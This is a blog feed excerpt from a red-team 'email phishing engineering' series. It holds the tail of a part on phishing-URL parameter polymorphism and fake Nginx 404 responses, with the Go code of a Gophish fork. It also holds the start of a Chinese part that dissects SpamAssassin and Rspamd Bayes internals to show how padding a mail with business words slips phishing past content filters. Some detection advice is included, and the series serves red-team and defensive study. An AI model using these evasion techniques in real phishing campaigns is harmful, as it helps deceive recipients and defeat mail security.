&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;RESTful&lt;/strong&gt;: &lt;code&gt;/api/v1/notice/XyZ123A&lt;/code&gt; (RID embedded in the path)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hash routing&lt;/strong&gt;: &lt;code&gt;/#/verify/XyZ123A&lt;/code&gt; (SPA; parameter in the fragment)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last form is especially effective against mail-gateway URL extraction: most URL parsers do not extract the fragment, while React/Vue-style SPAs parse the RID from the fragment on the client normally.&lt;/p&gt;
&lt;h4&gt;3.3 Malformed Parameters&lt;/h4&gt;
&lt;p&gt;SANS ISC’s Xavier Mertens documented a widely used parameter-evasion technique in a February 2026 diary (&lt;em&gt;Broken Phishing URLs&lt;/em&gt;): &lt;strong&gt;deliberately craft malformed parameters that violate HTTP norms&lt;/strong&gt;, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;https://phish-domain.com/?dC=handler@domain&amp;#x26;*(Df
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;&amp;#x26;*(Df&lt;/code&gt; is an invalid parameter name under HTTP rules, but all major browsers silently ignore it and still load the page. WAFs, regex detectors, and IOC extraction pipelines cannot parse &lt;code&gt;*(Df&lt;/code&gt; as a key=value pair; they may mark the whole URL “abnormal” and skip it—exactly what the attacker wants.&lt;/p&gt;
&lt;p&gt;The essence is the asymmetry of “browser tolerance vs. detector strictness.” Browsers forgive everything; security tools reject everything; the middle ground is full of room to work. taigong’s &lt;code&gt;r.ParseForm()&lt;/code&gt; also ignores illegal parameters (Go standard library behavior), so malformed parameters can act as &lt;strong&gt;decoy parameters&lt;/strong&gt;: detectors fixate on the invalid ones and overlook the real RID sitting in a legitimate parameter.&lt;/p&gt;
&lt;h4&gt;3.4 Business Parameter Noise&lt;/h4&gt;
&lt;p&gt;Go further: inject a pile of legitimate business parameters into the URL to dilute the RID’s statistical signature:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;https://phish-domain.com/report/download
    ?lang=zh-CN
    &amp;#x26;tz=Asia%2FShanghai
    &amp;#x26;device=mobile
    &amp;#x26;version=2.4.1
    &amp;#x26;_t=1749283200000
    &amp;#x26;sid=ZqW8kPm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On this URL only &lt;code&gt;sid=ZqW8kPm&lt;/code&gt; is actually parsed; the rest are high-frequency legitimate business parameter names and values. When blue teams run parameter entropy analysis, a single high-entropy value (&lt;code&gt;ZqW8kPm&lt;/code&gt; ≈ 6.0 bits/char) is diluted by a stack of low-entropy values (&lt;code&gt;zh-CN&lt;/code&gt;, &lt;code&gt;Asia/Shanghai&lt;/code&gt;, &lt;code&gt;mobile&lt;/code&gt;), pulling overall statistics toward legitimate traffic.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 Nginx 404 Camouflage Details&lt;/h3&gt;
&lt;h4&gt;4.1 Why Nginx 404&lt;/h4&gt;
&lt;p&gt;When automated scanners probe suspicious URLs (root hits, nonexistent paths, invalid parameters), the HTTP response is a critical identity-exposure window.&lt;/p&gt;
&lt;p&gt;Nginx has long held roughly a third of the global web-server market (Netcraft Web Server Survey, multi-year). A phishing server that returns an Nginx-style 404 behaves like most legitimate sites and does not trip product-signature detection. Gophish’s default 404 exposes two features at once: Gophish page structure in the body, and a &lt;code&gt;Server: Gophish&lt;/code&gt; response header.&lt;/p&gt;
&lt;h4&gt;4.2 taigong’s Actual Implementation&lt;/h4&gt;
&lt;p&gt;The camouflaged-404 function in taigong is &lt;code&gt;renderUnknownResponse&lt;/code&gt; in &lt;code&gt;controllers/phish.go&lt;/code&gt;—only a few lines:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;func (ps *PhishingServer) renderUnknownResponse(w http.ResponseWriter, r *http.Request) {
    if redirectURL := ps.currentPhishConfig().UnknownRedirectURL; redirectURL != &quot;&quot; {
        http.Redirect(w, r, redirectURL, http.StatusFound)
        return
    }
    w.WriteHeader(http.StatusNotFound)
    fmt.Fprint(w, `&amp;#x3C;html&gt;
&amp;#x3C;head&gt;&amp;#x3C;title&gt;404 Not Found&amp;#x3C;/title&gt;&amp;#x3C;/head&gt;
&amp;#x3C;body bgcolor=&quot;white&quot;&gt;
&amp;#x3C;center&gt;&amp;#x3C;h1&gt;404 Not Found&amp;#x3C;/h1&gt;&amp;#x3C;/center&gt;
&amp;#x3C;hr&gt;&amp;#x3C;center&gt;nginx&amp;#x3C;/center&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;`)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Key points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It first checks &lt;code&gt;UnknownRedirectURL&lt;/code&gt;; if set, 302 away; only then returns the 404 body.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The template is stock Nginx 404—including the legacy &lt;code&gt;&amp;#x3C;body bgcolor=&quot;white&quot;&gt;&lt;/code&gt;. Do not “optimize” it; any change can become a fingerprint.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;&amp;#x3C;center&gt;&lt;/code&gt; tag and all-lowercase &lt;code&gt;nginx&lt;/code&gt; have been Nginx’s signature since the 0.x era; Apache returns &lt;code&gt;Apache&lt;/code&gt;, IIS returns &lt;code&gt;Microsoft-IIS/10.0&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That said, the current implementation &lt;strong&gt;only clones the response body&lt;/strong&gt; and does not explicitly set &lt;code&gt;Server: nginx&lt;/code&gt; or &lt;code&gt;Content-Type: text/html&lt;/code&gt;. Go’s &lt;code&gt;net/http&lt;/code&gt; sniffs &lt;code&gt;Content-Type&lt;/code&gt; from content, so the body is fine; but &lt;code&gt;Server&lt;/code&gt; is empty. A detector that compares header &lt;em&gt;sets&lt;/em&gt; can still spot this—an area that can be hardened further.&lt;/p&gt;
&lt;p&gt;Another small WAF detection trick: some rules compare whether the 404 body size matches a standard Nginx 404 exactly. One extra space or missing newline can trip “near-match.” Keep the template’s byte length identical to real Nginx; do not casually add comments or indentation.&lt;/p&gt;
&lt;h4&gt;4.3 Apache and IIS Scenarios&lt;/h4&gt;
&lt;p&gt;Different target environments may need different pseudo-server templates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apache 404&lt;/strong&gt;: &lt;code&gt;&amp;#x3C;address&gt;Apache/2.4.41 (Ubuntu) Server at ...&amp;#x3C;/address&gt;&lt;/code&gt;, specific &lt;code&gt;Server&lt;/code&gt; header formats, larger bodies (extra CSS)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;IIS 404&lt;/strong&gt;: &lt;code&gt;Server: Microsoft-IIS/10.0&lt;/code&gt;, &lt;code&gt;.aspx&lt;/code&gt; path hints, distinctive HTML structure&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;CDN camouflage&lt;/strong&gt;: add Cloudflare-style headers such as &lt;code&gt;CF-Ray&lt;/code&gt;, &lt;code&gt;CF-Cache-Status&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Server camouflage is not about inventing fakes from scratch—there is no need to fabricate something new. Capture a real Nginx 404 as the template and do not “improve” it.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 Three Strategies for Non-Target Access&lt;/h3&gt;
&lt;p&gt;In taigong Campaign config, the &lt;code&gt;NonTargetAction&lt;/code&gt; field controls non-target access. In code it is a switch (&lt;code&gt;controllers/phish.go&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;switch ptx.NonTargetAction {
case &quot;404&quot;:
    http.NotFound(w, r)
    return
case &quot;redirect&quot;:
    if ptx.NonTargetURL != &quot;&quot; {
        http.Redirect(w, r, ptx.NonTargetURL, http.StatusFound)
        return
    }
    http.NotFound(w, r) // fall back to 404 if URL unset
    return
case &quot;show&quot;:
    // continue showing the normal page
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three strategies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;show&lt;/code&gt;&lt;/strong&gt;: show the original landing page to all visitors, target or not. Lowest stealth, but useful for A/B testing landing conversion, internal training where employees self-visit, and low-risk targets.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;404&lt;/code&gt;&lt;/strong&gt;: return 404 for non-target access. Note this uses Go’s standard &lt;code&gt;http.NotFound&lt;/code&gt; (plain-text “404 page not found”), a different path from &lt;code&gt;renderUnknownResponse&lt;/code&gt;’s Nginx-camouflaged 404. One path is for “platform mismatch” (e.g. a Windows visitor hits a macOS-only page); the other is for “RID not found.” These two remain separate today.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;redirect&lt;/code&gt;&lt;/strong&gt;: 302 to a legitimate site (corporate homepage, Baidu home, etc.). In practice redirect often works better than 404—seeing a 302 to a normal site is more likely to be treated as a false positive than seeing a 404.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beyond this non-target decision, there is an earlier, live mechanism: Cloudflare edge injection of a custom encrypted string; if backend verification fails, 302 to &lt;code&gt;https://www.baidu.com&lt;/code&gt; (see Chapters 1 and 2). That is the first non-target disposal at the deployment layer, earlier than application-level &lt;code&gt;NonTargetAction&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A “gradient response” was discussed earlier: first scan 302, second 404, third TCP RST silent drop. Checking the code, the three-level gradient (especially TCP RST) is &lt;strong&gt;not implemented&lt;/strong&gt; today; multi-level gradient remains a reasonable evolution path.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3&gt;0x06 From Signature Matching to Behavioral Profiling&lt;/h3&gt;
&lt;p&gt;Red-team technical evolution forces blue teams toward more macroscopic dimensions. Parameter-level evasion kills static features but leaves statistical and infrastructure-layer detectable dimensions.&lt;/p&gt;
&lt;h4&gt;6.1 Statistical Fingerprint of Parameter Values&lt;/h4&gt;
&lt;p&gt;Blind search removes fixed parameter names, but parameter &lt;em&gt;values&lt;/em&gt; leave statistical signatures. A 7-character random RID over a 64-character alphabet has information entropy:&lt;/p&gt;
&lt;p&gt;bits&lt;/p&gt;
&lt;p&gt;Per-character entropy:&lt;/p&gt;
&lt;p&gt;bits/character&lt;/p&gt;
&lt;p&gt;Compared with normal business parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;session_id=user123&lt;/code&gt; → ≈ 2.1 bits/char&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;page=2&amp;#x26;limit=10&lt;/code&gt; → ≈ 1.5 bits/char&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;token=Ab7Xk2Q&lt;/code&gt; → ≈ 6.0 bits/char (near the theoretical max for a 64-char alphabet)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The right approach is a conditional combination:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;high-entropy parameter (&gt;5.5 bits/char)
    AND domain age &amp;#x3C; 90 days
    AND cert = Let&apos;s Encrypt
    AND domain first CT Log appearance &amp;#x3C; 7 days ago
    → high-priority alert
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AND across four conditions cuts false positives sharply: legitimate sites rarely satisfy “high-entropy param + newly registered domain + free cert + no CT history” at once.&lt;/p&gt;
&lt;h4&gt;6.2 DNS Timing&lt;/h4&gt;
&lt;p&gt;The first hop before a phishing link is clicked is DNS. Blue teams run anomaly detection on internal DNS:&lt;/p&gt;
&lt;p&gt;| Signal | Meaning |
| :-- | :-- |
| Same domain queried by many distinct internal IPs in a short window | Concentrated clicks after a mass mail |
| DNS query TTL = 1 | Common in Let’s Encrypt validation setups |
| Wildcard DNS to CDN edge | Hides origin IP |
| DNS queries clustered outside business hours | Non-normal business pattern |&lt;/p&gt;
&lt;h4&gt;6.3 Turning Tracking Pixels Against You&lt;/h4&gt;
&lt;p&gt;Both Gophish and taigong use transparent tracking pixels (1×1 PNG) to detect opens. Countermeasures are simple: SEGs strip tracking pixels on inbound; mail clients default to not loading remote images (Outlook/Thunderbird); even with dynamic parameter names, the tracking-pixel path pattern itself remains a potential feature.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x07 Where Parameter Evasion Stops Evolving&lt;/h3&gt;
&lt;p&gt;Parameter evasion follows a clear law: when one feature disappears, more features appear—red/blue never ends. Rough generations:&lt;/p&gt;
&lt;p&gt;| Generation | Red team | Blue team |
| :-- | :-- | :-- |
| Early | Fixed param name &lt;code&gt;?id=&lt;/code&gt; | Regex match on &lt;code&gt;id&lt;/code&gt; |
| Blind search | Blind RID, random param names | Parameter-value entropy analysis |
| Path | RESTful path-embedded RID | Path structure + domain lifecycle combo |
| SPA | Hash routing (RID in fragment) | Traffic timing + DNS anomalies |
| Noise | Malformed params + business noise | Multi-dimensional correlation (CA + ASN + registrar + behavior) |
| Current | Aged domain + AI-generated URLs | Behavioral baselines &amp;#x26; infrastructure-linked anomalies |
| Trend | WebSocket / SSE real-time push | Protocol-layer behavioral baseline deviation |&lt;/p&gt;
&lt;p&gt;Current state sits between “noise” and “current.” Traditional WAF signatures already fail against blind RID search; the future is &lt;strong&gt;correlational anomalies between infrastructure and traffic metadata&lt;/strong&gt;, not single-template fingerprint hits.&lt;/p&gt;
&lt;h4&gt;6.4 The Other Side of AI-Generated URLs&lt;/h4&gt;
&lt;p&gt;Unit 42 has demonstrated LLM runtime assembly of attacks: the client calls an LLM API live, generating malicious JS in the victim browser—different syntax each time, same function, no static payload left behind. Port that idea to URLs and an LLM generates path and parameter names that match the target’s internal naming norms; once every component is style-customized, feature-based detection largely fails.&lt;/p&gt;
&lt;p&gt;But this route has its own tell: LLM-generated URLs are too “perfect.” Real business is full of randomness and mess—typos, inconsistent naming, missing version numbers. A URL polished too clean by an LLM can be flagged &lt;em&gt;because&lt;/em&gt; it is too clean. That is the GREASE spirit (RFC 8701) echoing in anti-detection: you must deliberately leave bug-like traits to blend into the environment.&lt;/p&gt;
&lt;h4&gt;6.5 Closing&lt;/h4&gt;
&lt;p&gt;Once parameter-level detection fully fails, focus migrates in two directions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Infrastructure clustering.&lt;/strong&gt; No matter how the URL is camouflaged, the phishing server’s underlying infrastructure (ASN, hoster, IP range, cert issuance pattern, DNS config) forms stable cluster features. Infrastructure shared across campaigns cannot be covered by parameter camouflage. This is the highest-value detection dimension—see contemporary PhaaS analysis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Behavioral baseline.&lt;/strong&gt; A domain under attacker control will deviate from its historical baseline. Even a 10-year-old domain will, somewhere, deviate in DNS resolution patterns, cert renewal patterns, or page response patterns from its original purpose.&lt;/p&gt;
&lt;p&gt;To borrow Deleuze: &lt;em&gt;To become is to deterritorialize.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Series Navigation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;./part-1-gophish-ceiling.md&quot;&gt;Part 1: GoPhish’s Ceiling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-2-opsec-infra.md&quot;&gt;Part 2: Untraceable Infrastructure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-3-bayes-nlp.md&quot;&gt;Part 3: Bayes &amp;#x26; NLP Content Adversarial&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-4-rid-polymorphism.md&quot;&gt;Part 4: Parameter Polymorphism &amp;#x26; Response Camouflage&lt;/a&gt; ← this post&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-5-qr-delivery.md&quot;&gt;Part 5: Linkless Delivery &amp;#x26; QR Codes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;./part-6-bec-polymorphism.md&quot;&gt;Part 6: BEC 3.0 &amp;#x26; Cross-Channel Orchestration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>邮件钓鱼攻防工程·3：贝叶斯与 NLP 内容对抗</title><link>https://s4u2self.cc/blog/email-phishing-engineering-part-3-bayes-nlp</link><guid isPermaLink="true">https://s4u2self.cc/blog/email-phishing-engineering-part-3-bayes-nlp</guid><description>拆 SEG 贝叶斯与语义检测层，结合 SpamAssassin 源码边界讲内容绕过与评分对抗思路。</description><pubDate>Sat, 11 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;字数 6265，阅读大约需 32 分钟&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;本文是「邮件钓鱼攻防工程」系列的第三篇。前两篇解决了发信通道和反沙箱。但发信只是一部分，正文被网关过滤，前面的工作全白做。&lt;/p&gt;
&lt;p&gt;邮件能不能进网关，内容进网关之后能不能不进垃圾箱，这是两个完全不同的对抗维度。本篇拆邮件安全网关（SEG）最核心的内容检测逻辑：贝叶斯分类器和 NLP 语义引擎，以及工程上的规避思路。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_005.BXnkw5v0_Z15ImG5.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;
作者： 可惜夜&lt;/p&gt;
&lt;p&gt;首发至公众号：Yofune安全研究 欢迎关注。&lt;/p&gt;
&lt;h3&gt;0x01 对手 模型 ：SEG 内容层的双层检测架构&lt;/h3&gt;
&lt;p&gt;国内和境外的环境差异直接影响内容对抗的策略选择。境外企业网络的主力 SEG 是 Microsoft Defender for Office 365 和 Proofpoint；国内环境更复杂，大型央企和金融机构普遍部署了国产邮件网关，安全厂商这类产品百花齐放，不一一例举。中小企业大量使用腾讯企业邮、 阿里云 企业邮，后端反垃圾接的是云端能力。&lt;/p&gt;
&lt;p&gt;这些产品的内容检测架构大体一致，底层两层叠加：第一层是&lt;strong&gt;贝叶斯概率层&lt;/strong&gt;，基于词袋模型，SpamAssassin 和 Rspamd 是最典型的开源实现，国产厂商基本在此之上做了中文语料的二次训练；第二层是&lt;strong&gt;深度语义层&lt;/strong&gt;，国内有不少基于 BERT-base 的轻量检测模型，不详细展开，感兴趣的可以搜索关键字。两层检测&lt;strong&gt;不是串联阻断&lt;/strong&gt;，而是评分加权合并。一封邮件贝叶斯层得分很低，但只要深度语义层捕捉到了钓鱼邮件特征，照样被拦。目标是让最终得分低于阈值，需要两层一起对抗。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_001.rnfAWf_R_1q4Kxf.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;SpamAssassin 的 Bayes 插件（&lt;code&gt;lib/Mail/SpamAssassin/Plugin/Bayes.pm&lt;/code&gt;）&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;Token 化流程&lt;/strong&gt;（源码 &lt;code&gt;tokenize&lt;/code&gt; 函数位于第 1134-1217 行，&lt;code&gt;_tokenize_line&lt;/code&gt; 位于第 1219-1380 行）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;原始文本 → 正则提取 → 最少3字符过滤 → SHA1哈希截取40位 → 停用词过滤
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Token 提取正则（&lt;code&gt;_tokenize_line&lt;/code&gt; 函数内，行 1235-1240）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_004.ZLK6WJ78_1gyFyS.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 使用正则表达式提取Token：匹配ASCII单词、英文字符，以及多字节的UTF-8编码字符（用于支持中文等非ASCII文本）
s{ ( [A-Za-z0-9,@*!_&apos;&quot;\$. -]+  |     # 匹配常规ASCII词元
     [\xC0-\xDF][\x80-\xBF]       |     # 匹配UTF-8双字节字符
     [\xE0-\xEF][\x80-\xBF]{2}    |     # 匹配UTF-8三字节字符（包含常见中文字符）
     [\xF0-\xF4][\x80-\xBF]{3}    |     # 匹配UTF-8四字节字符
     [\xA1-\xFF] ) | . }                # 匹配ISO-8859等单字符或多字节边缘字符，其余未匹配的单个字符替换为空格
 { defined $1 ? $1 : &apos; &apos; }xsge;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SHA1 哈希压缩为 40 位 Key（&lt;code&gt;tokenize&lt;/code&gt; 函数内，行 1212）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 对提取出的Token计算SHA1值，并截取其哈希结果的最后5个字节（40位），作为统计数据库中存储的唯一键值
$tokens{substr(sha1($token), -5)} = $token  if $token ne &apos;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SpamAssassin 实现里有三个硬性设计边界值得利用。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Token 计数上限&lt;/strong&gt;（行 250）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_003.BMDbw8yT_1TRqis.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 声明在对数似然比排序中参与评分合并计算的最大有效Token数量为150。超过该限制的弱特征Token将被舍弃。
use constant N_SIGNIFICANT_TOKENS =&gt; 150;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;SpamAssassin 在计算贝叶斯分值时，会把分词拿到的所有 Token 按概率偏差（即该词有多偏向垃圾邮件或正常邮件）进行降序排列，最多只取前 150 个最明显的 Token 参与最终计算，超出 150 个的词直接丢弃。这个 150 的限制是代码里写死的硬性规定。&lt;/p&gt;
&lt;p&gt;只要在正文里混入足够多（超过 150 个）的强 Ham 词（即正常业务往来中的高频词），就能把真正敏感的恶意词挤出这 150 个计分窗口，使其不参与最终评分。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_002.BCM2lxbx_Z2746v3.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Robinson 平滑算法&lt;/strong&gt;（行 1644-1653，常量在 CombineChi.pm 第 47-50 行定义，&lt;code&gt;FW_S_CONSTANT = 0.030&lt;/code&gt;，&lt;code&gt;FW_S_DOT_X = 0.538 * 0.030 = 0.01614&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. 计算原始贝叶斯分类概率
my $prob = ($s * $nn) / ($n * $ns + $s * $nn);

# 2. 如果启用了 Robinson 平滑算法（针对低频出现的 Token）
if (USE_ROBINSON_FX_EQUATION_FOR_LOW_FREQS) {
  my $robn = $s + $n; # 该 Token 在所有样本中出现的文档总数
  # 使用 Gary Robinson 的 f(w) 公式计算平滑后的概率：
  # P_smooth = (s * x + n * P_raw) / (s + n)
  $prob = ($Mail::SpamAssassin::Bayes::Combine::FW_S_DOT_X + ($robn * $prob))
          / ($Mail::SpamAssassin::Bayes::Combine::FW_S_CONSTANT + $robn);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;robn 是词库里记录的该词总频次。塞入拼写奇怪的罕见词或生僻词，平滑公式会直接把它的概率拉回 0.5（代表无特征）。概率为 0.5 的词在排序时垫底，进不了 150 个评分窗口。所以，做正文稀释时，必须使用网关已经见过多次的常规商务词汇，不能胡乱生造冷门词。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;得分合并的数学核心&lt;/strong&gt;，在 CombineChi.pm（行 60-104）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/image_1785951205_006.vAa4M1rL_Z26hpUd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. 累加计算双假设 Fisher 对数概率
foreach my $prob (@$sortedref) {
  $S *= 1.0 - $prob; # 假设邮件为 Spam 的概率累乘因子 (1 - P(Spam|Token))
  $H *= $prob;       # 假设邮件为 Ham 的概率累乘因子 (P(Spam|Token))
  # 浮点防下溢处理省略（使用 frexp 分解科学计数法）
}

$S = log($S) + $Sexp * LN2; # 计算假设 Spam 的对数似然
$H = log($H) + $Hexp * LN2; # 计算假设 Ham 的对数似然

# 2. 通过卡方逆累积分布函数 (chi2q) 转换为 p 值评分。
# 传入 $wc (即 $token_count) 代表自由度相关的半值参数，省略了重复的乘除2操作。
$S = 1.0 - chi2q(-2.0 * $S, $wc);
$H = 1.0 - chi2q(-2.0 * $H, $wc);

# 3. 将得分归一化到 [0, 1] 区间，作为最终贝叶斯概率分值
return (($S - $H) + 1.0) / 2.0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Fisher 算法在数学上默认所有词相互独立。但实际邮件中，词语之间关联性非常强。塞入一整段连贯的商务文本，这些关联词会直接扭曲卡方统计的自由度计算，降低分类器判定的把握，反而容易触发误判放行。&lt;/p&gt;
&lt;h5&gt;Rspamd 的 Bayes 分类器（&lt;code&gt;src/libstat/classifiers/bayes.c&lt;/code&gt;）&lt;/h5&gt;
&lt;p&gt;和 SpamAssassin 不同，Rspamd 使用的是 OSB（Optimal Score Based）算法。&lt;/p&gt;
&lt;p&gt;它的一个核心特点是把单个词（Unigram）的权重设成了 0（行 215）。不管单个词有多敏感，它都不会直接影响最终分值，必须和相邻词语结合组成 Bigram（双词组）或 Trigram（三词组）窗口才会计分。&lt;/p&gt;
&lt;p&gt;光堆砌单个单词没用，必须注入连贯的词组或完整的商务短语。在中文场景下， 分词器 如果把词切得太细，容易破坏 OSB 窗口的统计结构。&lt;/p&gt;
&lt;p&gt;Rspamd 里的 Robinson 平滑通过 &lt;code&gt;PROB_COMBINE&lt;/code&gt; 宏实现（行 217）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;// prob: 原始概率, cnt: Token出现总数, weight: Robinson平滑权重, assumed: 默认假设概率(通常为0.5)
#define PROB_COMBINE(prob, cnt, weight, assumed) (((weight) * (assumed) + (cnt) * (prob)) / ((weight) + (cnt)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;bayes_classify_token&lt;/code&gt; 函数（行 227-324）中被调用：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;// 计算 w
w = (fw * total_count) / (1.0 + fw * total_count);
// 平滑合并概率
bayes_spam_prob = PROB_COMBINE(spam_prob, total_count, w, 0.5);
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;Rspamd 统计 Token 标志位定义（&lt;code&gt;src/libserver/word.h&lt;/code&gt; 与 &lt;code&gt;src/libstat/tokenizers/tokenizers.c&lt;/code&gt;）&lt;/h6&gt;
&lt;p&gt;分词阶段，Rspamd 会在 &lt;code&gt;src/libserver/word.h&lt;/code&gt;（行 34-47）中为 Token 标记不同的 Flag，这些属性采用 bitmask 形式定义：&lt;/p&gt;
&lt;p&gt;| 标志名称 | 位偏移量 | 掩码实际值 | 安全对抗及分析含义 |
| :-- | :-- | :-- | :-- |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_TEXT&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 0&lt;/code&gt; | &lt;code&gt;0x01&lt;/code&gt; | 纯文本内容提取的常规 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_META&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 1&lt;/code&gt; | &lt;code&gt;0x02&lt;/code&gt; | 元数据或指令生成的 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_LUA_META&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 2&lt;/code&gt; | &lt;code&gt;0x04&lt;/code&gt; | 由 Lua 规则接口动态产生的 Token |
| &lt;code&gt;RSPAMD_STAT_TOKEN_FLAG_EXCEPTION&lt;/code&gt; | &lt;code&gt;1u &amp;#x3C;&amp;#x3C; 3&lt;/code&gt; | &lt;code&gt;0x08&lt;/code&gt; | 异常 Token（例如 URL 提取出的特征） |
